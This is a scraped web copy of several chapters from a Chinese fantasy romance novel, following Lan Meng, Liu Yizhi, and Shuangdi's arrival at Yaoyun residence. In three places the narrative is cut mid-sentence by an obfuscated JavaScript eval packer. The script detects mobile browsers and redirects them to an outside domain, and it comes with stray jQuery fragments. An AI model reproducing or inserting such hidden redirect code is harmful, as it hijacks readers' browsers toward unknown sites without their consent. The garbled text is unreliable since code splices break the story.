“柳意欢你这添油加醋的功夫实在了得啊,看来咱家都不用请大厨了,就由柳大厨掌勺好了!” “……” 在柳逸直兄妹唇枪舌战的时候,岚孟已经踏入卧泉城门,来到了位于繁华地段的万象斋。 在半月榜上瞄了一眼,没见到多少求购灵药的悬赏,仅有的几条悬赏金额也不高,不过苍蝇腿再小也是肉,岚孟还是将合适的全都接了下来,在万象斋四楼的柜台里兑了百余枚灵石,她只拿了零头,朝掌柜道:“我想发悬赏买条消息,同步到你们万象斋所有门店,直到有信为止,剩下的灵石够了吗?” 通常情况下半个月换一次悬赏榜,除非加钱,否则万象斋是不会保留过期的悬赏的,更何况是要同步到所有门店。掌柜面带笑容:“客官,若要同步到所有门店的话,需要交五百灵石的佣金。毕竟一个萝卜一个坑,若要长期登榜,则每半月得再补交十枚灵石。” 岚孟没过过什么苦日子,再者这世上没什么灵植是她催生不了的,来钱快的人花钱也会大手大脚,她爽快地答应了,将那一百灵石收了起来,递出去三枚闪着金光的龙鳞果,龙鳞果既可以避百毒又可以炼丹入药,一向是抢手货,价值不会低于五百灵石,掌柜爽快地答应了,还承诺会为她将消息刊登在榜首,并且前两个月不收取额外费用。 “我要‘红尘酒’,不拘是酒抑或是线索,但必须可靠,随便拿什么酒来糊弄可不行。” 掌柜笑呵呵道:“这是自然,万象斋一向童叟无欺,我们可不想砸了自己的招牌,若收到东西自然会先帮贵客验明真假的。” 岚孟留下一张传讯符便离开了万象斋。街上熙熙攘攘,吆喝叫卖声此起彼伏,卧泉城似乎已经从雪灾之中恢复过来了,人们脸上都洋溢着笑容。凡人就像是遍地生长的野草,脆弱却又坚韧,任何风吹雨打都可能打倒他们,但只需要一点点阳光雨露,他们就能从挫折中站起来,手拉着手,结成在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049448|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴雨之中也岿然不动的长城。 忽而,不知是谁发出了一声惊呼,似有猛兽嚎叫着冲来,长城轰然倒塌,人们脸上的笑容转眼间便成了惊恐,他们纷纷匍匐于地,身子几乎抖成了筛子,这份惊恐来源于由远及近的骏马嘶鸣声。 岚孟扭头看去,只见四匹通体枣红的骏马拉着一辆镶金嵌玉的车架从远处狂奔而来,速度极快,路边的不少摊贩只顾得上抱头鼠窜,来不及撤离的摊子便被枣红马一脚掀翻,摊子上的东西滚落了一地。 一个小童坐在地上嚎哭,眼见着马蹄就要踏在小童身上,一股不知从何而起的风忽然将小童吹了起来,躲过了马蹄的践踏,小童的母亲三步并两步跑过去将小童抱在了怀里,她自己也摔在了地上,然而她马上就换了个俯跪的姿势,一个劲地磕头求饶。 一根马鞭狠狠抽在了妇人跟前的地面上,尖锐而刻薄的声音响起:“下次要是再冲撞贵人,可就没这么好运了!” 岚孟冷眼看着车架上那个尖嘴猴腮的持鞭人,正想给他一个教训,跪在她身边的人忽然扯了她的袖子一把,小声提醒道:“你不要命了!快跪下来!” 岚孟收了灵气,从善如流地半蹲了下来,低下头将自己隐藏在人群之中,待马车从面前经过时,她抬起眼,透过被风掀开的车帘望见了马车里的场景:容貌昳丽的美人窝在男子的怀里,是个鸳鸯交颈的姿势,嘴唇凑在一块分食着什么东西,岚孟甚至眼尖地看见勾连在两人嘴唇之间的银丝。 岚孟别开了头。 真是辣眼睛。 马车呼啸而过,卷起飞天烟尘,不多时便消失在了街巷的尽头,百姓纷纷站了起来。 岚孟身边是个年纪不大的少年,约摸十三四岁,眉骨上有一道浅淡的疤痕,方才就是他拉了她一把,岚孟问:“小兄弟,马车里的是什么人啊?” 少年惊魂未定地拍了拍胸脯,诧异地望了她一眼,道:“你是外乡人吧?居然连这都不知道,那是我们的王,住在宫里的皇帝陛下。” 皇帝?岚孟皱起眉,就那个脸色蜡黄、双颊凹陷、一副被吸干了精气模样的豆芽菜? “那皇帝身边的美人呢?” 少年弯下腰拍了拍膝盖上的灰尘,他十分健谈,一股脑将自己知道的事情抖了出来。 “那是陛下新纳的凝贵妃,是国师在民间搜罗的美人,甫一进宫就得到了陛下的宠爱,陛下还答应为她在桐湖边上修建逐月塔,征了一大批青壮年呢。” 看来这凝贵妃来头不小啊,岚孟想,不过她也没打算插手凡人的事情,更何况还和一国之君有关系,搞不好会遭到天道注视,搬起石头砸自己的脚的事情她可不会干。 少年苦口婆心地劝道:“咱们这个陛下脾气很不好的,一言不合就要杀人砍头,下次要是再遇见他的车架,你可千万别当出头鸟了。就算是天大的难事也总会有办法解决不是?活着才是最要紧的。” 岚孟听着这语重心长的劝慰,心中不免纳闷,她好笑道:“你这话说的就像是我在寻死觅活似的。” 少年耸耸肩:“我不过是看你一副不开心的样子,好心安慰你一下罢了,没有别的意思。” 岚孟笑了笑,从袖中掏出一个油纸包递给少年,是方才万象斋的掌柜送的。 “谢谢你的好心,这个糕点给你吃吧。” 少年诧异地接过油纸包,也瞧见了油纸上面印着的“万象斋”三个大字,纳闷地抬眼觑她,道:“好心的人是你吧?万象斋的糕点可不便宜。” “一点微不足道的答谢而已,不必客气。” 少年笑了起来:“那我就收下啦!对了,我叫展愧,姐姐你叫什么?” 岚孟道:“闫扶音。” “好的,闫姐姐,那我们有缘再会!” 少年脑后半长不短的马尾兴高采烈地扬起,迎着明媚的阳光,蹦蹦跳跳地走进了春天的怀抱。 72. 竹筒酒 天黑了好一会,岚孟才回到了杳云居。四下静悄悄的,白日里东一榔头西一棒槌挖笋的柳意欢和卖力干活的花匠们早已不见踪影,院落各处的花圃早已换上了新的花木,空气中弥漫着淡淡的草木清香。原先残破的阵法都已被修复得完好如初,环环相扣、密不可分的强大法阵也得窥天光,就好像因受了伤不得不蛰伏起来的猛虎终于养精蓄锐,一举跃出了黑暗的洞穴,向全天下宣告自己的雄威。 夜风吹来树叶沙沙的响声,四下不见一个人影,但任谁来都不会觉得这里阴森可怖,因为院落各处都放置了萤石,光芒虽然微弱,但相互映照之下刚好能够照亮路面。岚孟来到了小飞楼所在的平台,从高处往下一看,正好能将整个杳云居纳入眼底。 她粗略地数了一下,约摸有九九八十一个阵法潜藏在杳云居各处,有幻阵,迷惑视线的雾阵,还有水阵、火阵、刀剑阵等以攻为主的阵法,更多的是层层叠叠的保护阵法。 传闻易氏阵法气吞山河,如有神助,分则各自为王,和则天下无双,现在说杳云居固若金汤也不为过,就连她自己也没把握能在很短时间内从这些一环扣一环的阵法中逃出生天,更遑论将其打破。 柳逸直的父亲果然是个人才,他修为也不高,好像就引灵还是元初境,却能绘制如此复杂庞大的阵法,难怪宣措费尽心机也要将他抓去,只可惜天妒英才。 岚孟不免得有些唏嘘。不过第一次来的时候,这里还没有这么多的阵法,恐怕柳逸直在修复之余,还添了不少新的。 正想着,一身黑袍的柳逸直便从屋檐下走了出来,他走到庭院正中央站定,朝她的方向望了一眼,似乎还挑衅地笑了笑,然后他伸手打了个响指,杳云居内层层叠叠的阵法转眼间便隐匿了踪迹,就像是沉入了平静水面之下的巨鳄一般,只要有入侵者踏足,便会破开水面亮出自己的獠牙。 所以,方才将阵法全都打开,是在向她炫耀?他是三岁小孩吗?岚孟颇为无语地翻了个白眼,然后转身走进了小飞楼。 甫一推开门,她便闻到了一阵若有似无的腊梅香气,在一楼转了一圈,却只瞧见了几盆含着花苞尚未开放的兰花,于是岚孟便登上楼梯来到了二楼。 那盆开得正盛的腊梅被安置在楼梯口,微凉的夜风从半开的窗户里吹了进来,梅枝微颤,抖落了一地花香。 衣衫摩擦的声音传入耳中,岚孟偏过头,便看见原本空无一物的置衣架上挂着一件绯衣,布料轻薄柔软似有流光,裁剪简洁,没有多余的装饰,领口、袖口、腰间这些地方却别出心裁地用金线绣了含苞待放的玉兰花,不细看还看不出来。 岚孟伸手在玉兰花上摸了摸,走线平整,做工精巧,虽然不是法衣,但定然价格不菲。 窗边传来“吱嘎”一声,岚孟扭头望去,只见柳逸直抬高了窗户,两手搭在窗台上。像是才沐浴完毕就过来了,他没有束发,三千青丝搭在肩头,发丝上还冒着氤氲的湿气,他背对着月亮,银白月光洒在他身上,好像笼罩了一层薄纱,面容隐在阴暗里,一双琥珀色眸子却又大又亮,笑意逐渐攀上他的唇角,他问道:“喜欢么?” “送我的?”岚孟问。 柳逸直扬起一个开朗的笑:“之前说好的,要赔你一条裙子。看你的衣裳不是黑白就是灰的,略微单调,我就自作主张买了件颜色不一样的。” 他伸手指了指梳妆台,“老板还送了些首饰,你若是不嫌弃便将就着用吧。” 岚孟走到梳妆台边,将抽屉拉了出来,发钗、簪子之类的饰品满满当当塞了一抽屉,一看就不可能是赠品,她立即扭头望向趴在窗边的人,然而柳逸直好像是知道她会拒绝一样,打断道:“你若是不喜欢,那便扔了吧,反正也我用不上。” “夜已深了,你早些休息吧。” 说完,他搭在窗台上的手一松,整个人便消失在了岚孟的视野里。 岚孟没有去追,站在原地没有动作,过了一会才在梳妆台前的凳子上坐下,将抽屉一个一个拉出来来看,发现除了首饰还有些胭脂水粉,瓶瓶罐罐一大堆,也不知道是干啥用的。最下面两层则摆满了丹药,大多是用来固元培本的,品质极好,对身体不会有什么副作用。 她取出一粒丹药,放进嘴里嚼碎了,心想倒也并非毫无用处。 纤长的手指在首饰堆里翻翻捡捡,捻了一支朴素的玉簪出来,将其放在脑后挽起曳地青丝,却因为不得门道,怎么也扎不牢,一松手便散了。 月光斜射进窗来,铜镜中的女子恬静如画,却因迟迟挽不起发而生出了一丝恼意,秀眉微微蹙起,赌气似地将玉簪扔进了首饰堆里,然后大步流星往床铺走去,一股脑将自己埋进了被子里。 躺在被窝里,岚孟才发现被褥换了新的,应该是在太阳底下晒过,充满了阳光的味道,贴在身上暖洋洋的,是让人安心的味道。 岚孟心里也清楚,让她安心的其实不是晒过太阳的被子,而是笼罩在阁楼外的层层叠叠的阵法。 离开云登谷后,她一直不敢放松心神,害怕真实身份被人识破,害怕敌人前来寻仇,也害怕一觉醒来,身边之人只剩一具失了魂魄的骸骨。 而如今置身于如此繁复而强大的阵法之中,她头一次感觉,自己可以稍微歇一歇了。 精神一放松,疲惫感便接踵而来,眼皮越来越沉,她没再抗拒,听话地闭上了眼睛。这一觉睡得十分舒适,再睁眼时,夕阳的余晖斜斜射入窗棂,太阳马上就要落山了。 推开窗一看,远处的卧泉城飘起了缕缕炊烟,尚未升入天穹便被风吹散了,和落日的金辉混杂在一起,一同笼罩了这座群山怀抱之中的城池。 耳边传来几声犬吠,岚孟应声看去,却见一只圆滚滚的苍猊犬在下方的庭院内玩球,毛茸茸的大尾巴举得高高的,竹制的蹴鞠被它踢来踢去。 岚孟推门出去,三两步便来到了大狗所在的庭院,她冲它吹了声口哨,小咪咪立即警觉地竖起了耳朵,站在远处打量着这个陌生人,呆呆地望了一会,它才轻手轻脚走了过来,冲岚孟伸出的手闻了闻,然后立即欢喜地摇起尾巴,在她脚边蹭啊蹭。 岚孟勾唇笑了笑,伸手在巨大的狗头上揉了揉。 “它叫小咪咪,是我大哥养的。”清朗的声音从侧边传来,岚孟扭头望去,只见一身锦衣的柳逸直站在月洞门里,袖子挽到了手肘处,一滴滴晶莹的水珠从他骨节分明的手指上滴了下来。 “去接它的时候,顺便在酒楼里买了点菜,你要吃吗?”他问道。 岚孟心想不吃白不吃,于是点头说了声“好”。 片刻后,看着桌上琳琅满目、有荤有素的十余道菜,岚孟皱眉:“你买这么多?还是说有其他客人?” 柳逸直答:“就我们两个。”他顿了顿,抬眸觑了一眼坐在对面的姑娘的脸色,补充道:“和一条狗。” 小咪咪配合地“汪”了一声,尾巴摇得飞快,眼巴巴地望着桌上的珍馐。 柳逸直瞥它一眼,心想但是小咪咪不能吃太多,给它弄点菜叶子算了,于是他夹了一筷子绿油油的青菜放进了狗碗里,小咪咪吃啥都开心,伸出舌头卷走了青菜,狼吞虎咽地吃完了,然后继续用一双湿漉漉的狗眼望着他。 柳逸直:“……” 岚孟无声笑了笑,抄起筷子夹了一根竹笋放进嘴里,出乎意外的清爽,倒也不算讨厌。 柳逸直见她吃得津津有味,心情顿时舒畅起来,喜滋滋地给小咪咪夹了几块肉。 两人在沉默中吃完了一顿饭,到最后竟也吃得七七八八。 趁着柳逸直收拾碗筷的功夫,岚孟挪到了外面的凉亭里,小咪咪吃饱喝足,趴在她脚边打盹。她将引魂灯的图纸拿了出来,先前已经按照旁边的小字买了犀角、培风竹等材料,但是她实在是看不来这个满是线条的图纸,却又不好随便找个工匠来做,毕竟是用来承装魂魄的东西,稍有差池都可能使魂魄灰飞烟灭,她可是答应了要保证寸微云完好无损的。 对着萤石明亮的光芒看了许久,岚孟叹了口气,将图纸摊在了石桌上。柳逸直提着两个竹筒过来放在了桌子上,“柳意欢给的,说是凡间时兴这个,让我一定要尝尝。” 他低头扫了图纸一眼,问道:“你要做宫灯?” 竹筒里盛装着浅色清液,清甜的香气扑鼻而来,岚孟端起来饮了一口,“嗯”了一声,“算是吧,你会看图纸吗?” 柳逸直心想这有何难?他在桌边坐了下来,拿起图纸仔细端详。显而易见这不是普通的宫灯,培风竹做骨架,犀角削成大小相同、厚薄一致的薄片做窗扇,而且还要在上面绘刻阵纹。他拾起其他图纸仔细一看,发现上下灯盘、甚至提手上都需要绘刻阵纹,这些阵纹将组合成一个完备的阵法,虽然暂时看不出用途,但绝对不是用来点灯照明这么简单。 “需要培风竹三十根,犀角五个,用玄金墨绘刻阵纹,做好以后还得用茯神香熏七天。”柳逸直抬眼看她,“这些东西你都备好了吗?” 岚孟将一个芥子袋抛给他,柳逸直打开一看,发现里面不仅有他方才说的那些东西,还有锯子、矬刀之类的工具。 “你之前不是还欠了我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056900|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个要求吗?我现在想好了,你就帮我做这个灯吧。”岚孟道。这人早就撞破她不少秘密了,也不差这一个。 然而柳逸直却一口否决了她的提议,“这样的话你岂不是亏大了?做这个灯又不会很费功夫,反正这两日我也没什么事,你再想想其他条件吧。” “行。”岚孟点头答应。 她感觉这个竹筒水还挺好喝的,手里这筒喝完了,便又拿了桌上另一个竹筒喝了起来。 所以等到柳逸直从图纸中抬起头来去看她的时候,见到的就是酡红的脸和迷离的眼眸,他心下一惊,立即伸手将她手中的竹筒抢了过来。 竹筒底部仅剩的一点清澈液体依旧散发着清甜的味道,柳逸直下意识以为是有毒,但转念一想,若有毒的话她不可能毫无察觉,而且柳意欢给他的时候说只是甜水来着…… 甜水? 柳逸直心中忽然升起了一个不太好的猜测,他倾身朝岚孟靠近了一点点,果然闻到了一丝淡淡的酒味,夹杂在女孩柔暖的呼吸之中。 这就是柳意欢口中的甜水?虽然说确实没有一丝酒味,就连他也被骗过去了,否则他不会给闫扶音喝的…… 他一抬眼,就对上了岚孟似有薄雾笼罩的一双墨瞳,她冷不丁开口道:“我问你件事,你必须老实回答。” “啊?好,你问吧。”柳逸直讷讷地点了点头,他稳住了上半身没有动,然而原本懒散地靠在藤椅上的姑娘却坐直了身体,一点点朝他靠近。 靠得也太,太近了吧……柳逸直的心跳得越来越快,咚,咚,咚,好像有人在心中擂鼓,一声震过一声,外界的任何声音他都听不到了,女孩清浅的呼吸扑面而来,带着一丝几不可查的酒味,两人之间的距离忽然变得很近很近,近得几乎能看到她根根分明的眼睫毛上的氤氲水汽。 喉结微动,柳逸直不可遏制地咽了咽口水,一丝薄红悄无声息地攀上了他的耳廓。 她要问什么?为何是如此严肃郑重的神态?莫非是发现他喜欢她了?现在是来算账了?不会吧?他不就送了一点点女孩子穿的衣服和戴的首饰,有那么明显吗?她瞧着不像是心思细腻到可以察觉到的人啊…… 正忐忑着,忽见朱唇微张,吐出来一串冷冰冰的话语:“‘日薄星回,穹天所以纪物’,下一句是什么?” 就像是被人兜头泼了一瓢冷水一般,柳逸直翻涌的气血忽然僵住了。 他怎么忘记了,这人一杯就倒,喝醉了以后还喜欢背诗书啊!柳逸直勉力扯了扯唇角,让自己的表情不至于太僵硬,不答反问:“你怎么非要背诗呢?做点其他的事情不好吗?” “不背诗的话,还能做什么?”岚孟歪了歪头,面上浮现疑惑,“发酒疯吗?” 她忽然欺身上前握住了柳逸直的胳膊,两人的鼻尖几乎碰在了一起,柳逸直连忙将身子往后仰,然而她却不知是有意还是无意地一进再进,直到柳逸直的背抵上了冰凉的藤椅,被醉意醺然的姑娘以一个极其暧昧的姿势困在了椅背和臂弯之间。 她从上往下地俯视着他,面色酡红,却固执地问着他下一句是什么,仿佛他不答就不会放他走一样。 柳逸直只好飞快地答道:“山盈川冲,后土所以播气……”背完这一则①,他迅速反守为攻:“‘石可破也,而不可夺坚;丹可磨也,而不可夺赤’下一句。”② 岚孟也没斥责他扰乱规则,歪头想了想,利落地答出了下一句,然后又开始了新一轮的提问。 略带醉意和迟疑的女声,和清朗又坚定的男声交织在了一起,就这样你来我往了好几回,醉醺醺的姑娘昏昏欲睡,头一歪栽倒在了男子的怀抱里。 柳逸直的半边肩膀被砸得生疼,他哑然失笑,真是冤家。 将人打横抱起,送回了小飞楼,再妥帖地用温水给她擦了脸和手,柳逸直才将人塞进了被窝里。 她似乎被折腾醒了,睁开湿漉漉的眼睛望着他:“你可不能趁人之危啊。” “什么?”柳逸直轻声问。 然而没头没脑说了这么一句,岚孟随即闭上眼睛睡着了。看着她恬静的睡颜,柳逸直忽然感觉心中一片宁静,他伸手将粘在她颊边的发丝拂去了耳后,再掖了掖被角,才推门走了出去。 站在小飞楼门口,凉丝丝的夜风拂在脸上,柳逸直伸手摸了摸鼻尖。 柳意欢先前还笃定闫扶音对他没那个心思呢,但事实好像并非如此,否则她那么拒人于千里之外的一个人,怎么会任他踏进属于自己的领域呢? 柳逸直背着手、哼着歌,一蹦一跳,渐渐走远。 73. 春山信 天光大亮。 一只五彩斑斓的不知名鸟儿从云霄俯冲而下,轻轻落在了瓦楞之上,它迈着轻快的小碎步,从屋檐的这一头慢慢挪到了那一头。 “欻欻欻”的声音乍然响起,鸟儿被吓了一大跳,扑腾着翅膀飞到了不远处的梅树尖尖。它歪了歪头,圆溜溜的眼睛一眼不眨地打量着凉亭里用剑劈竹子的人,只见那人只随意挥了挥手中剑,几道冷光闪过,一根笔直的竹竿便被劈成了大小相同的四份,“哐啷”一声倒在了地上,然后那人又取了新的竹竿来,继续重复着方才的动作。 鸟儿觉得无趣,扑棱着翅膀飞走了,它轻轻落在了一方窗台之上,窗户没关,它探头进去,望见床上被子隆起,墨色长发从床上铺到了床下,肉眼可见地在迅速生长,像是房前屋后的芳草萋萋,越来越多,越来越密。 鸟儿径直飞到了床头,一双鸟眼紧紧盯着被窝里的人,她面色潮红,双目紧闭,红润的唇瓣绷成了一条线,眉头几乎拧成了“川”字,似乎承受着莫大的痛苦,忽然,她猛地睁开了眼睛,眼底血丝如蚕茧般交织缠绕,她翻身扑到床沿,“噗——”从腑脏深处翻涌而上的温热冲出牙关,如同绽放的黑色莲花,在地板上留下了绚烂痕迹,被乌血溅到的发丝瞬间便如荒草般枯萎了。 趴在床沿缓了好一会,岚孟才擦了擦沾在唇角的血迹,伸出食指往地上一划,枯萎的发丝被斩断,转眼间便化作齑粉消失了。她起身靠在了床头,看着那只一蹦一跳上了自己膝头的花雀,哑声问道:“你怎么来了?” 花雀歪着脑袋瞧着她,没张嘴,肚子里却传来了今望月的冷笑声:“我来干什么?自然是来看某人的笑话。” “不是在闭关吗?要不是昭离那小子休养好了准备离开,要和你告别,我去山顶一看才知道你根本就没在那,说谎有意思吗?你知不知道老娘差点没把云登谷翻得底朝天啊!” 岚孟勾唇笑了笑:“是吗,昭离已经好了呀,他……” “别转移话题!” 今望月丝毫不压抑自己的怒气,劈头盖脸就是一顿骂,花雀受她情绪的影响,在岚孟的膝头蹦了三蹦。 “你要是想出来,我们能不答应吗?为啥子非得要说谎?鸟长大了翅膀就硬了是吧,瞧瞧你把自己折腾成什么样了?弄得一身伤不说,还被人族男人抓起来囚禁在这种破地方!” 岚孟怔忡:“我被囚禁?” 今望月掷地有声道:“不是囚禁是什么!专门搞了这么个破阁楼,阵法还里三层外三层的,不就是怕你长了翅膀飞了吗!这不是金屋藏娇是什么!” 岚孟哑然失笑:“你误会了,柳逸直可不会有这种心思。”相处了这么久,他是个什么样的人,她心里还是有数的。 “瞧瞧,瞧瞧,被迷住了吧?”今望月简直是恨铁不成钢,花雀也气鼓鼓地像人一样将翅膀背在身后作叉腰状,小小的鸟头高高昂起,气焰能有个几丈高。 “我说什么来着?男人最会权衡利弊了,什么海枯石烂情比金坚,说白了他就是想占你便宜而已!当初送你‘识破男人甜言蜜语之下的黑心肝’那本书,你还不好好学,现在好了吧!一点花言巧语就把你魂都勾走了!” 岚孟简直是哭笑不得:“你想哪去了?为什么我一和男的有点交集,你就能想到什么情啊爱啊的,我就不能有一两个关系正常的男性朋友吗?” 今望月在那头蓦地松了口气,开朗笑道:“一看你这反应我就知道你和那男的之间没啥猫腻了,那我就放心了哈哈哈!” 岚孟正想点头表示赞同,然而今望月那头忽然传来了一声嗤笑。 “你也太高看咱们这位神使了,就照她那迟钝的头脑,能理解‘爱情’这玩意是个什么东西吗?” 岚孟这才知道霜笛那家伙也在,顿时感觉一个头两个大,然而霜笛此人一向是看热闹不嫌事大,在那头有意无意地拱火:“不过那个姓柳的家伙就说不准了,谁知道他肚子里装的什么颜色的墨水,面上不显山不露水的,说不定暗地里正盘算着要把我们小孟孟拆骨入腹呢。” 今望月正在气头上,岚孟只好顺着她的意,将自己怎么和柳逸直认识、又是怎么潜入山到源的来龙去脉简单说了一遍,再三保证她不是因为男人才偷偷跑出来的,也解释了她现在是以客人身份住在杳云居,并不是以什么见不得人的关系,并且搜肠刮肚说了一箩筐的好话,好说歹说才将今望月头顶的怒火浇灭了。 “……事情就是这样,还望姐姐替我和谷中各位解释一番,我还有不得不去做的事情,暂时还不能回谷。”岚孟讨饶道。 “哈?”今望月气得跳脚,站在岚孟膝头的花雀也蹦得有三丈高,“你要不要照照镜子,瞅瞅你现在是个什么熊样?跟个进气少出气多的肺痨鬼似的,还不快给我回来谷里养伤!有啥事情等养好了身体再说……” 岚孟打断道:“这恐怕不行。不过是妖丹反噬罢了,我能应付得来,你不必担心。” 今望月忽然福如心至:“我知道了,你还是舍不得那个小修士对吧!”今望月感觉自己发现了世界的真相。 今望月气得火冒三丈:“不行不行,岚孟你还是得回来,你年纪小又涉世未深,小心被外面那些的臭男人的花言巧语骗得连裤衩子都不剩!” 岚孟满脸黑线,心说难道在他们眼里,她就是个什么也不懂的蠢蛋吗?明明是她把柳逸直耍得团团转好不好?她一把攥住了膝头的花雀,快速道:“这你们就别操心了,我自有分寸,你们做好分内的事情就行了。”言罢,她五指收紧,花雀便在她手中化作一缕青烟消散了。 - 云登谷。 花雀通讯瞬间被切断,今望月气得抬腿朝霜笛踹去,后者身形敏捷地躲开。 今望月沉着脸:“岚孟不会真被那个小白脸迷住了吧?这死丫头,还和先生串通起来骗老娘,真是翅膀硬了!” 霜笛轻轻摇着手中折扇,鬓边的发丝随风飘拂,他风轻云淡道:“既然担心,何不出谷去找她?” 今望月白他一眼:“你又不是不知道我手头的活还没干完呢,我哪里走得开啊!” 霜笛合上折扇,扇头砸在另一只手的手心发出一声轻响,他笑道:“我替你去不就行了,时隔多年,正好去人间转转,活动活动筋骨。” 今望月上下打量他几眼,面带鄙夷:“能行吗你?我敢说岚孟不会听你的话。” 霜笛挑眉:“我如何不行了?劝不动她,我还打不过她吗?直接将人扛回来不就得了。” “那学堂怎么办?你走了谁来教娃娃们读书写字?” “那就给他们放假好了!” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完,她就要合上大门,霜笛立即将折扇插在了两门之间,继续笑:“那我找闫扶音,姑娘可认得?” 柳意欢“啊”了一声,恍然大悟道:“你找闫姑娘啊?先前说的名字莫非是她的小名吗?” 霜笛将折扇收了回来,笑着解释道:“非也非也,‘岚孟’是她唯一的名字,另外的,不过是她在人间行走的假名罢了。” 柳意欢愣了一下,尚未明白霜笛口中的“在人间行走”是什么意思,便听到了身后传来的柳逸直的声音。 “柳意欢,你在和谁说话?” 柳逸直来到门前,径直对上了霜笛的目光,他没有遗漏对方眼中一闪而过的凌冽,皱起眉问道:“不知阁下是?” 来者不善,柳逸直悄悄握紧了拳。 毕竟岚孟在自己手底下读了几年书,霜笛也当得起她一声“老师”,他本也是打算用这个身份将岚孟带走的,可就在见到柳逸直的那一刻,他瞬间便打消了这个念头——眼前此人虽然实力低微,还比不上他一根手指头,但奈何生了一副好皮囊,气质上同尧玦还有几分相似,难怪岚孟那丫头乐不思蜀。 霜笛勾唇,露出一个自认为可以迷倒众生的笑来,道:“在下霜笛,是岚孟的……” “青梅竹马。”。 74. 故人来 杳云居正厅,空气中硝烟弥漫。 柳意欢坐在柳逸直下首,看看自己紧紧抿着唇不说话的三哥,又看看对面自称是闫姑娘青梅竹马的白衣男子,心道三哥实在是情路坎坷啊,还没赢得姑娘芳心,半路却杀出来了一个情敌,啧啧啧,回去以后得和大哥二哥好好吹一吹。 小翠端着茶盏走了进来,一一放在三人身侧的案桌上以后便福了福身退了出去。 霜笛轻啜一口茶水,嫌弃地撇了撇嘴,折扇一下一下轻敲掌心,语不惊人死不休:“你可知道,‘闫扶音’这个名字,是我给她取的?” “噗——”柳意欢惊得把刚进嘴的茶水喷了出来。 啥玩意?意思是三哥不仅不知道闫姑娘的真名,唯一知道的姓名还是情敌起的吗? 柳逸直瞥了柳意欢一眼,淡淡道:“意欢,你去厨房帮小翠吧。” “我去干啥?帮倒忙?”柳意欢摇头拒绝。怎么能错过看好戏的机会?柳意欢心道。可她那好三哥却递来一记冷冰冰的眼刀,柳意欢只好一步三回头地走了。 感觉到柳意欢确实已经走远,柳逸直才正眼看向对面的男子。他浑身没有一丝灵力或者妖力的波动,是个深藏不露的主,在探明他的来意之前,还是不要轻举妄动。 于是他问道:“阁下既然能寻到此处,定然是有要事,不妨打开天窗说亮话?” 霜笛勾唇:“那我也不和你说那些虚的了,我要带岚孟走。” “走?”柳逸直皱眉:“去何处?” 霜笛呵呵地笑:“自然是她的家了。”他翘起二郎腿,将手肘抵在桌上支着脑袋,好整以暇地望着默不作声的柳逸直,道:“你知道她家住何方吗?知道她自小生活的地方是什么样的吗?她有着什么身份,肩上扛着什么责任,这些,她和你说过吗?” 柳逸直无话可说。她一向守口如瓶,不想说的话任谁也撬不开她的嘴,他又何必苦苦相逼?更何况她素来巧言令色,嘴里不见得有几句真话,他就算是问了,得到的或许也是错误的答案。 见柳逸直一言不发,却毫不退让的态度,霜笛只好下了一剂猛药:“我们自小指腹为婚,如今婚期将近,我这个未婚夫来接未婚妻回家,有何不妥?” 柳逸直一下子便抓住了霜笛话语里的漏洞,“据我所知,岚孟是木灵化身,是天地孕育的灵物,何来指‘腹’为婚一说?阁下信口胡诌之前也不打个草稿。” 这么看来,眼前之人亦是巧言令色之徒,嘴里有几分真几分假,恐怕只有他自己知道。柳逸直直视霜笛的眼睛,眼神忽然变得坚定,“她自小跟在尧玦身边,天南地北地跑,就算是有‘未婚夫婿’,想必也没有什么感情,恐怕不会老老实实和你回去。” 霜笛见柳逸直没有被唬住,也没有慌张,只爽朗一笑:“感情不都是可以培养的?你了解岚孟多少?你认识她多久了?有一年了吗?不管你承不承认,我和岚孟相识的时间可比你多得多了,若要比先来后到,你可比不过我。” “我并不想与阁下比较。”柳逸直正色道,“岚孟在这里住得好好的,阁下为何非要带走她?” 霜笛挑眉:“我自有我的理由,何必与你分说?” 柳逸直面上带笑,眼神却变得凌冽,犹如蛰伏已久只待进攻的猛兽,潜藏在正厅的阵法开始转动,一根根光剑从四面八方对准了霜笛。 “那我自然也不能任你随意编个理由就带她走。” 霜笛慢条斯理地打开折扇,扇面上“风流人物”四个大字一一显现,他眯起眼,似笑非笑道:“小子,你怕是不知道爷爷的厉害?” 柳逸直伸手从虚空中抓出一把铜剑,背后墨发无风自动,眼神如鹰隼般犀利,只要霜笛稍有动作,他就会毫不犹豫地出剑,一招削了他的虎威。 气氛剑拔弩张,空气中弥漫着火药味,任何一点火星子都可能将空气点燃,然而就在这时,一阵急促的脚步声由远及近,岚孟略带慌张的声音同时传入两人耳中。 “柳逸直,我得先走了,再住下去可能会给你添麻……” 话未说完,她便看见了正厅里对峙的两人,霜笛“唰”地一下将扇子合上了,柳逸直也立即收了剑,光剑一瞬间便隐入了地下。 